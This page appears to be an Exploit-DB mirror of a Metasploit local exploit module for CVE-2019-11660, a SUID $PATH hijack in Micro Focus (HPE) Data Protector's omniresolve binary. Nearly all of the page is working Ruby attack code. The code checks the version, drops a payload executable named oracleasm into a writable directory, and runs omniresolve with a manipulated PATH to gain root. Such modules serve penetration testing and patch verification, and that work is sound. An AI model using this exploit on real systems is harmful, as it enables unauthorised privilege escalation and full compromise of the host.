Micro Focus (HPE) Data Protector – SUID Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2019-11-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47580/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Post::File
    include Msf::Post::Linux::Priv
    include Msf::Post::Linux::System
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Micro Focus (HPE) Data Protector SUID Privilege Escalation',
    'Description'=> %q{
    This module exploits the trusted `$PATH` environment
    variable of the SUID binary `omniresolve` in
    Micro Focus (HPE) Data Protector A.10.40 and prior.
    
    The `omniresolve` executable calls the `oracleasm` binary using
    a relative path and the trusted environment `$PATH`, which allows
    an attacker to execute a custom binary with `root` privileges.
    
    This module has been successfully tested on:
    HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110, built on Thu Aug 11 14:52:38 2016;
    Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118, built on Tue May 21 05:49:04 2019 on CentOS Linux release 7.6.1810 (Core)
    
    The vulnerability has been patched in:
    Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125, built on Mon Aug 19 19:22:20 2019
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    's7u55', # Discovery and Metasploit module
    ],
    'DisclosureDate' => '2019-09-13',
    'Platform' => [ 'linux' ],
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Targets'=>
    [
    [
    'Micro Focus (HPE) Data Protector <= 10.40 build 118',
    upper_version: Gem::Version.new('10.40')
    ]
    ],
    'DefaultOptions' =>
    {
    'PrependSetgid' => true,
    'PrependSetuid' => true
    },
    'References' =>
    [
    [ 'CVE', '2019-11660' ],
    [ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03525630' ]
    ]
    ))
    
    register_options(
    [
    OptString.new('SUID_PATH', [ true, 'Path to suid executable omniresolve', '/opt/omni/lbin/omniresolve' ])
    ])
    
    register_advanced_options(
    [
    OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
    OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ])
    end
    
    def base_dir
    datastore['WritableDir'].to_s
    end
    
    def suid_bin_path
    datastore['SUID_PATH'].to_s
    end
    
    def check
    unless setuid? suid_bin_path
    vprint_error("#{suid_bin_path} executable is not setuid")
    return CheckCode::Safe
    end
    
    info = cmd_exec("#{suid_bin_path} -ver").to_s
    if info =~ /(?<=\w\.)(\d\d\.\d\d)(.*)(?<=build )(\d\d\d)/
    version = '%.2f' % $1.to_f
    build = $3.to_i
    vprint_status("omniresolve version #{version} build #{build}")
    
    unless Gem::Version.new(version) < target[:upper_version] ||
     (Gem::Version.new(version) == target[:upper_version] && build <= 118)
    return CheckCode::Safe
    end
    
    return CheckCode::Appears
    end
    
    vprint_error("Could not parse omniresolve -ver output")
    CheckCode::Detected
    end
    
    def exploit
    if check == CheckCode::Safe
    unless datastore['ForceExploit']
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
    end
    print_warning 'Target does not appear to be vulnerable'
    end
    
    if is_root?
    unless datastore['ForceExploit']
    fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end
    end
    
    unless writable?(base_dir)
    fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end
    
    payload_path = File.join(base_dir, 'oracleasm')
    register_file_for_cleanup(payload_path)
    write_file(payload_path, generate_payload_exe)
    chmod(payload_path)
    
    trigger_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
    register_file_for_cleanup(trigger_path)
    write_file(trigger_path, "#{rand_text_alpha(5..10)}:#{rand_text_alpha(5..10)}")
    cmd_exec("env PATH=\"#{base_dir}:$PATH\" #{suid_bin_path} -i #{trigger_path} & echo ")
    end
    end